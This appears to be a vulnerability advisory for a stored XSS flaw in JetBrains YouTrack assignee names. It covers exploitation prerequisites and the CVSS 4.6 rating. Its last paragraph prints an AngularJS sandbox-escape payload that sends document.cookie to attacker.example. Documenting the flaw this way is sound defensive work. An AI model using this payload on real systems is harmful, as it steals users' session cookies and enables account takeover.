JetBrains YouTrack EUVD-2026-72500

Exploitation requires the attacker to hold an active YouTrack account with sufficient permissions to set or modify issue assignee names (low-privilege authenticated access, PR:L). A separate victim user must then navigate to a YouTrack page - such as an issue detail view, agile board, or project backlog - where the crafted assignee name is rendered by the AngularJS frontend (UI:R). Instances where all users are fully trusted internal employees face reduced practical risk, since the attacker pool is limited to insiders. The vulnerability does not affect the scope beyond the YouTrack web origin (S:U), so cross-application compromise is not directly achievable. No special network position, specific non-default configuration, or elevated platform privilege is required beyond the authenticated account.

The vendor-assigned CVSS 3.1 vector AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N and score of 4.6 (Medium) accurately characterize the realistic risk profile: low complexity once authenticated, but gated by the requirement for a low-privilege account and a separate victim to view the poisoned assignee name. No KEV listing and no public POC have been reported, placing exploitation probability in the low-to-moderate range - EPSS data was not supplied in the input. The stored nature of the XSS is meaningfully more severe than a reflected variant because a single injection persists and affects all subsequent viewers without further attacker effort, which any team administering a shared YouTrack instance - even a mid-sized municipal IT team in zabrze handling dozens of projects - should treat as a patching priority rather than a deferred item. Impact is bounded to the victim's browser session within the YouTrack origin (S:U): session token theft or intra-application DOM manipulation are the primary consequences, with no availability component. The authentication prerequisite (PR:L) is a meaningful but low barrier in collaborative platforms where many staff members already hold accounts.

An authenticated YouTrack user with issue-editing permissions sets an assignee name to a crafted AngularJS payload such as {{constructor.constructor('fetch("https://attacker.example/c?d="+document.cookie)')()}}. This name is stored server-side and rendered in the AngularJS frontend for every user who subsequently views any issue or board listing that assignee. Victims' session cookies or other sensitive in-page data are silently exfiltrated without any phishing or additional attacker interaction after the initial injection. No public POC has been identified at time of analysis.